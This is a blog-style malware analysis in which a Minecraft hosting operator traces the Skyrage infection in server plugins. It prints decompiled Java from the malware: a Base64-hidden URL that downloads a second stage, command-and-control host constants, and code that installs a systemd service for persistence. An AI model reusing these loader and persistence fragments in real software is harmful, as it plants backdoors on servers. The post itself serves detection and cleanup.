Skip to content

Malware analysis - Skyrage malware

Created: 23rd September 2022 - Updated: 25th December 2022

Backstory

The story starts with my Minecraft server hosting company. (MCHost.no)

One day I am contacted by one of my customers, who reports that his server does not start properly, it freezes when loading the plugins.

In these scenarios, it's usually a problem with a faulty or incompatible plugin, so I ask him to do the elimination method (Disable all plugins, and enable them one by one).

Days later after a lot of back and fourth, i get this message:

Hey you. Its not your fault or my fault. I see now that the same thing happened to *REDACTED* years ago, have now happened on *REDACTED*. Plugins is infected by a "Virus" i downloaded in a plugin that has infected other plugins. F!!!!

So i got more information from him that years ago he downloaded a cracked or free plugin from a shady source, and he saw the similarities this time.

He gave me a clue that the source was Updater.Class that could be found in the infected plugins (Beacuse it only contains that class when infected)

He tried decompiling the class but with no success.

So here starts my journey.

Virustotal

Decompile from my side with JD-GUI did not work.

So i did what every Supersmart Hackers do, put every plugin in Virustotal:
Long and behold:

Have i really found the smoking gun?
I asked then for a clean version of this plugin to compare:

c692b3d8777f799428e82479607911804286a80ea1769b49dcd12c6472d0e57d  AdvancedLottery-12.3-dirty.jar
a7cc5f9db0da3a3188bb980db6b9e2abe98ead760c54e4a9ce0669262dbac95f  AdvancedLottery-12.3-clean.jar


The hashes did not match!
So i uploaded the clean plugin to Virustotal and...

Balls!

So, the problem here is the behaviour of the plugins, the plugins can do a lot that antivirus products detect on, and then flagging them. But after inspecting the code: it looks clean?

And from what can i tell from here? I dont really know...

The 'class' file

So I went back to trying to decompile the plugins with JD-GUI.
This time i only took a library file since every plugin has the same class, so a smaller file could not hurt.

I got so desperate to get to answers, so i searched for a lot of decompilers, even finding a site that had 6 diffrent types of java decompilers, and none worked.

The answers were far, but yet so close.
Could this really be it, the end of this mystery? An unknown malware spreading on Minecraft servers that cant be stopped?

But then i struck gold!:

And after browsing i found a few key points from this:

Java executables:

String var3 = (new File(System.getProperty("java.home") + (var2 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();


Connection to a host, but its encoded...:

HttpURLConnection var2 = (HttpURLConnection)(new URL(new String(Base64.getDecoder().decode("aHR0cDovL2ZpbGVzLnNreXJhZ2UuZGUvdXBkYXRl")))).openConnection();


Since the URL is encoded with base64, then its really easy to decode it to human-readable text.
Base64 text first, and UTF-8 after:

aHR0cDovL2ZpbGVzLnNreXJhZ2UuZGUvdXBkYXRl http://files.skyrage.de/update

The 'Update' file

When visiting the URL, it just downloads as a blob and thats it...
Well... lets try renaming it to a .jar file and decompile it:

Okay... This file is a lot bigger, so i need to map everything out:

a.class

String var2 = "http://t23e7v6uz8idz87ehugwq.skyrage.de/qqqqqqqqq";
CertificateFactory var0 = CertificateFactory.getInstance("X.509");
Certificate var1 = var0.generateCertificate(a.class.getResourceAsStream("/key.crt"));

b.class (The entrypoint)

public static final int a = 62207;
public static final String a = "t23e7v6uz8idz87ehugwq.skyrage.de";
public static final InetSocketAddress a = new InetSocketAddress("qw3e1ee12e9hzheu9h1912hew1sh12uw9.skyrage.de", 17929);
public static boolean a = Boolean.getBoolean("auto");
public static boolean b = Boolean.getBoolean("update");
public static String b = (new File(System.getProperty("java.home") + (Q.a() ? "/bin/java" : "\\bin\\java.exe"))).getPath();
public static String c = (new File(System.getProperty("java.home") + "\\bin\\javaw.exe")).getPath();
InputStream var0 = (new URL("http://t23e7v6uz8idz87ehugwq.skyrage.de/version")).openStream();
a.bind(new InetSocketAddress("127.0.0.1", 62207));

Looks like a version checkup, a local endpoint (for the malware), and a CNC/callback server.

O.class

var0 = new File("/bin/vmd-gnu");
File var1 = new File("/etc/systemd/system/vmd-gnu.service");
String var2 = "[Unit]\nDescription=vmd-gnu local service\nAfter=network.target\nStartLimitIntervalSec=0\n\n[Service]\nType=simple\nRestart=always\nRestartSec=1\nUser=" + System.getProperty("user.name") + "\nExecStart=/bin/sh -c \"java -Dauto=true -jar /bin/vmd-gnu\"\n\n[Install]\nWantedBy=multi-user.target";
URL var3 = O.class.getProtectionDomain().getCodeSource().getLocation();
Files.copy((new File(var3.getFile())).toPath(), var0.toPath(), StandardCopyOption.REPLACE_EXISTING);
Files.write(var1.toPath(), var2.getBytes(), new OpenOption[0]);
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "systemctl enable vmd-gnu"}).waitFor();
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "systemctl start vmd-gnu"}).waitFor();

Oh... Its setting itself up for persistant access

Aftermath

Since the hosting of Minecraft servers on MCHost.no is based of Docker containers, each server is isolated, and therefore not spreading between servers.
I also blocked the skyrage.de domain so the malware would be (hopefully) less dangerous.

For the Customer in question, he has not run any plugins (.jar) locally on his PC, so he is safe on that part. (But would recommend reinstalling the entire OS if that was the case)

His server (serverfiles) on the other hand: He needed to reinstall all plugins and server.jar, but after that, it was not connecting to the shady server anymore.

Since i have a low experience with java code, that means this guide will be incomplete, please send me feedback or more info to [email protected]